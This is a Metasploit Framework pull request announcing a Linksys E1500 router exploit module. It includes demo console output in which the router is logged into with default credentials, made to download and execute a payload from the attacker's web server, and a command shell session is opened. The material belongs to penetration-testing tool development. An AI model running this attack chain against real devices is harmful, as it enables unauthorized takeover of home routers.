rapid7/metasploit-framework — pull request #1688 by m-1-k-3 (2013-03-30 10:49:09+00:00)
Title: Linksys e1500 exploit

Hey guys,

this is a replacement of the auxiliary module modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb

Thx to Juans awesome work on the mips Payloads it was possible to generate a nice exploit module out of it.

Exploiting Demo - 192.168.178.105 / 0 exploit(linksys_e1500_up_exec) > exploit
[*] Exploit running as background job.

[*] Started bind handler
[*] 192.168.178.199:80 - Trying to login with admin / admin
Exploiting Demo - 192.168.178.105 / 0 exploit(linksys_e1500_up_exec) > [+] 192.168.178.199:80 - Successful login admin/admin
[*] 192.168.178.199:80 - Starting up our web service on http://192.168.178.105:8080/kCYwhenV ...
[*] Using URL: http://192.168.178.105:8080/kCYwhenV
[*] 192.168.178.199:80 - Asking the Linksys device to download http://192.168.178.105:8080/kCYwhenV
[*] 192.168.178.199:80 - Sending the payload to the server...
[*] 192.168.178.199:80 - Asking the Linksys device to prepare kCYwhenV
[*] 192.168.178.199:80 - Asking the Linksys device to execute kCYwhenV
[*] Command shell session 2 opened (192.168.178.105:55105 -> 192.168.178.199:4444) at 2013-03-30 11:48:29 +0100
[+] Deleted /tmp/cntyyvfr
[*] Server stopped.

Happy Easter,
MIke